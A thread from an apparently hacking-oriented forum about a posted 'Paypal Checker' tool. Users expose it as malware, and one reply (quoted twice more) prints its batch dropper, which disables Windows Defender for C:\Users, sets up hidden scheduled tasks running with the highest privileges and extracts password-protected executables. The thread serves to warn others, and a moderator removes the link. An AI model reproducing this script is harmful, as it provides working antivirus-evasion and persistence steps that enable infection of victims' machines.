Sinisterly
Paypal Checker Working as of 03/24/2020 - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Computers (https://sinister.ly/Forum-Computers)
+--- Forum: Software & Programs (https://sinister.ly/Forum-Software-Programs)
+--- Thread: Paypal Checker Working as of 03/24/2020 (/Thread-Paypal-Checker-Working-as-of-03-24-2020)

Paypal Checker Working as of 03/24/2020 - Edorad8 - 03-23-2020

Link removed- Staff.

PWD: G-KLIT

RE: Paypal Checker Working as of 03/24/2020 - miso - 03-24-2020

please send a virustotal scan

RE: Paypal Checker Working as of 03/24/2020 - Darkbyte - 03-24-2020

Clear virus it has a .bat file:

@echo off
@setlocal enableextensions
@cd /d "%~dp0"
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users"
powershell Add-MpPreference -ExclusionPath "C:\Users" -force
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SystemFile" /tr "%appdata%\SubDirr\SystemFile.exe" /RL HIGHEST /f
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SysFile" /tr "%appdata%\SubDirr\Sys32.exe" /RL HIGHEST /f
mkdir %appdata%\SubDirr
attrib +h +s %appdata%\SubDirr
loader.exe -pP@$$W@RD@@
loader1.exe -pP@$$W@RD@@
exit


this is extacting .exe files using the password:
P@$$W@RD@@

[Image: ZVVqutu.png]

Shame you will be banned soon , you could of used this forum to not be such a obvious noob.

RE: Paypal Checker Working as of 03/24/2020 - fsociety - 03-24-2020

(03-24-2020, 01:03 AM)Darkbyte Wrote: Clear virus it has a .bat file:

@echo off
@setlocal enableextensions
@cd /d "%~dp0"
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users"
powershell Add-MpPreference -ExclusionPath "C:\Users" -force
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SystemFile" /tr "%appdata%\SubDirr\SystemFile.exe" /RL HIGHEST /f
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SysFile" /tr "%appdata%\SubDirr\Sys32.exe" /RL HIGHEST /f
mkdir %appdata%\SubDirr
attrib +h +s %appdata%\SubDirr
loader.exe -pP@$$W@RD@@
loader1.exe -pP@$$W@RD@@
exit


this is extacting .exe files using the password:
P@$$W@RD@@

[Image: ZVVqutu.png]

Shame you will be banned soon , you could of used this forum to not be such a obvious noob.

donot fall for any paypal checker all have hidden virus ,rat behind it.

RE: Paypal Checker Working as of 03/24/2020 - mothered - 03-24-2020

@Darkbyte, thanks for the In depth analysis of the file- clearly It's Infected.

For the safety of our community, I've removed the link.
Action has been taken accordingly against the OP.

RE: Paypal Checker Working as of 03/24/2020 - zazamohamad - 03-24-2020

(03-24-2020, 07:53 AM)mothered Wrote: @Darkbyte, thanks for the In depth analysis of the file- clearly It's Infected.

For the safety of our community, I've removed the link.
Action has been taken accordingly against the OP.


RE: Paypal Checker Working as of 03/24/2020 - miso - 04-12-2020

(03-24-2020, 01:03 AM)Darkbyte Wrote: Clear virus it has a .bat file:

@echo off
@setlocal enableextensions
@cd /d "%~dp0"
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users"
powershell Add-MpPreference -ExclusionPath "C:\Users" -force
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SystemFile" /tr "%appdata%\SubDirr\SystemFile.exe" /RL HIGHEST /f
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SysFile" /tr "%appdata%\SubDirr\Sys32.exe" /RL HIGHEST /f
mkdir %appdata%\SubDirr
attrib +h +s %appdata%\SubDirr
loader.exe -pP@$$W@RD@@
loader1.exe -pP@$$W@RD@@
exit


this is extacting .exe files using the password:
P@$$W@RD@@

[Image: ZVVqutu.png]

Shame you will be banned soon , you could of used this forum to not be such a obvious noob.
What tools did you use, this is really impresive Biggrin

RE: Paypal Checker Working as of 03/24/2020 - Raptorclub - 04-25-2020

i like coding & cracking apps